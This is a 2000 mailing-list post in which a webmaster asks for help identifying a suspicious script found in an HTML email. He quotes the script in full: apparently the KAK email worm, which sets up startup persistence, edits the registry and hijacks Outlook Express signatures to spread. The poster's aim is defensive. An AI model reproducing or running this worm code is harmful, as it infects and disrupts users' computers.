[lug] Virus in the email....

Ryan Kirkpatrick rkirkpat at nag.cs.colorado.edu
Fri Jun 9 07:50:20 MDT 2000


	Ok, I got an interesting email this morning, and it was not even
really for me. It was sent to the webmaster account for the website I
admin, which of course meant it ended up in my email box. It was really
meant for the other people at the company I work for. I get these every
now and again, people not realizing where to send email, so I normally
forward them on. But this time something caught my eye as a big wrong...
The email was in both text and HTML, and the HTML version of the email
contained what looks like a rather long JavaScript. :(
	I have excerpted from the email below the releveant sections. The
human-readbale contents of the email appeared perfectly normal and valid,
so I don't think that part was forged by an computer program. But glancing
through the script made me a bit worried. I don't even know if it is
JavaScript or not. Might be even be a copy of one of those infamous email
viruses going around for all I know. Anyway, can anyone shed some light on
this? 
	Don't worry, what is below should not be executable provided you
don't copy it to an seperate file and try to load it in a web browser.
Also, I emailed the sender warning them that their system might be
infected and made sure that he had not sent any more emails to any of the
addresses for the company.

	PS. Thank goodness for text only email readers. :)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
.........
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D"Z<HTML><HEAD><TITLE>Dr=
iver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D\"hO\" =
WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object =
id=3D'wsh' =
classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIP=
T>function sEr(){self.close();return true;}window.onerror=3DsEr;fs=3Dnew =
ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows\\\\';fl=3D=
fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;for(var =
mye=3Dnew =
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.item();ids=3Dnew =
String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);kfr=3Dwd+'MENUD=C9=
~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STARTM~1\\\\Programs\\=
\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';kk=3D(fs.FileExists=
(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoexec.bat';if(!fs.Fil=
eExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(re)!=3D-1){f1=3Dfs=
.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);pth=3D(kk=3D=3Dkfr=
)?wd+'MENUD=90~1\\\\PROGRA~1\\\\D=90MARR~1\\\\kak.hta':ken;t1.WriteLine('=
@echo off>'+pth);t1.WriteLine('del =
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(=
k2).Attributes=3D2;}t2=3Dfs.CreateTextFile(wd+'kak.reg');t2.write('REGEDI=
T4');t2.WriteBlankLines(2);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+id=
n+'\\\\Software\\\\Microsoft\\\\Outlook =
Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\=
"Default =
Signature\"=3D\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\=
\\00000000]');t2.WriteLine('\"name\"=3D\"Signature =
#1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=3D=
\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.Wri=
teBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature =
Flags\"=3Ddword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCA=
L_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]')=
;t2.Write('\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.h=
ta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s =
'+wd+'kak.reg');t3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><B=
ODY><DIV =
style=3D\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT =
classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =
id=3Dscr></"+"OBJECT></"+"DIV>');t4=3Dfs.OpenTextFile(k2,1);while(t4.Read=
(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
sErr(){return =
true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
);t4.close();rd=3D/\\\\/g;re=3D/\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\=
\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\"=
;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed   =
!]]%%%%%</"+"BODY></"+"HTML>";la=3D(navigator.systemLanguage)?navigator.s=
ystemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\=
Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>


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|   "For to me to live is Christ, and to die is gain."                    |
|                                            --- Philippians 1:21 (KJV)   |
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|   Ryan Kirkpatrick  |  Boulder, Colorado  |  http://www.rkirkpat.net/   |
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